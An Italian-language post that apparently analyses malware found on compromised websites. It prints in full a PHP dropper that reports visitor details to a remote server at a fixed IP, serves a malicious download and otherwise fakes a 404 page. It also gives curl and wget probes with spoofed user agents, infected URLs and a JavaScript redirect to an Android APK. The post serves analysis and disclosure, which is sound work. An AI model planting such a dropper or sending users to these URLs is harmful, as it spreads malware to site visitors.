Un webmaster mi ha inviato un file get.php.
Quindi il download dei virus proviene da un server separato, quindi il carico utile può essere generato altrove.
E a meno che le condizioni siano soddisfatte di seguito, si ottiene un falso 404.
Se il server dei virus centrale ti vuole, ottieni un falso 404.
Ci sono letteralmente centinaia di siti web che hanno ancora questo script PHP, ma il 404 lo fa sembrare pulito.
Immagino che un server antivirus possa tenere traccia delle richieste e "vietare" la richiesta di IP in base a ciò che vuole. Come troppi agenti utente errati o DNS inverso.
Ciò che deve succedere è che più di questi script PHP devono essere compilati, ottenere un elenco dei server dei virus, rimuoverli e vedere come funzionano.
<?php
error_reporting(0);
ini_set("display_errors", 0);
$remote = 'http://62.109.31.142/request12.php';
php_display($remote);
error_404();
function php_display($url)
{
$query = array();
$query['ip'] = getIp();
$query['time'] = date('d/M/Y:H:i:s', time());
$query['request'] = getRequest();
$query['path'] = getPath();
$query['protocol'] = getProtocol();
$query['useragent'] = getUseragent();
$query['referer'] = getReferer();
$url = $url."?".http_build_query($query);
$content = @file_get_contents($url);
if(empty($content) OR stripos($content, "error") !== FALSE)
{
error_404();
}
$content = explode("\n", $content);
$filename = array_shift($content);
$content = implode("\n", $content);
$type = 'application/zip';
header('Content-Type:'.$type);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Length: '. strlen($content));
echo $content;
exit();
}
function error_404()
{
header("HTTP/1.1 404 Not Found");
exit("<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">\r\n"
."<html><head><title>404 Not Found</title></head><body>\r\n"
."<h1>Not Found</h1>\r\n"
."<p>The requested URL was not found on this server.</p>\r\n"
."<hr>\r\n"
."</body></html>\r\n");
}
function getRequest()
{
return $_SERVER['REQUEST_METHOD'];
}
function getPath()
{
return $_SERVER['REQUEST_URI'];
}
function getProtocol()
{
return $_SERVER['SERVER_PROTOCOL'];
}
function getUseragent()
{
return $_SERVER['HTTP_USER_AGENT'];
}
function getReferer()
{
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '-';
return $referer;
}
function getIp()
{
$ip = NULL;
if(isset($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
elseif(isset($_SERVER['HTTP_CLIENT_IP']))
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
}
elseif(isset($_SERVER['REMOTE_ADDR']))
{
$ip = $_SERVER['REMOTE_ADDR'];
}
if(strpos($ip, ",") !== FALSE)
{
$ips = explode(",", $ip);
$ip = trim(array_pop($ips));
}
return $ip;
}
Hai anche qualcosa di diverso per alcuni agenti utente mobili.
wget --user-agent="Mozilla/5.0 (Windows; U; Windows NT 6.1; fr;
rv:1.9.2.18) Gecko/20110614 Mozilla/5.0 (Android; Linux armv7l;
rv:5.0) Gecko/20110615 Firefox/5.0 Fennec/5.0"
"http:// archaicguru.ca /img / get.php?info=867_124381713"
... diretto a www.appsoluteconcepts.com
Aggiornamento 23 maggio 2013.
Ho eseguito:
http:// dekadolstermennekes.nl /templates /rssgets.php?get_info=ss00_323
attraverso questo:
'curl -o #{domain}/winff.out -A "Mozilla/5.0 (Windows NT 5.1; rv:21.0)
Gecko/20130401 Firefox/21.0" "#{url}"'
'curl -o #{domain}/winie8.out -A "Mozilla/5.0 (compatible; MSIE 8.0;
Windows NT 6.1; Trident/4.0; GTB7.4; InfoPath.2; SV1; .NET CLR
3.3.69573; WOW64; en-US)" "#{url}"'
'curl -o #{domain}/linff.out -A "Mozilla/5.0 (X11; Ubuntu; Linux i686;
rv:20.0) Gecko/20100101 Firefox/20.0" "#{url}"'
'curl -o #{domain}/droidAWK.out -A "Mozilla/5.0 (Linux; U; Android 2.2.1;
en-ca; LG-P505R Build/FRG83) AppleWebKit/533.1 (KHTML, like Gecko)
Version/4.0 Mobile Safari/533.1" "#{url}"'
Ho ottenuto 404 falsi per Windows, Linux e Mac. Per i due Android UA ho ottenuto un APK ospitato altrove grazie a javascript:
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html; charset=Windows-1251" http-equiv="content-type">
<title></title>
</head>
<body>
<script language="JavaScript">
<!--
window.location=" http:// bahnsinn-hattersheim.de /mediapool /85/859783
/resources/pictures/Application.apk";
//-->
</script>
</body>
Il file .apk è circa 2176026 byte, MD5 3ffa39687b28f3e6993fe6ae218b91c9 ma mi mancano le abilità 1337 per fare qualcosa con esso.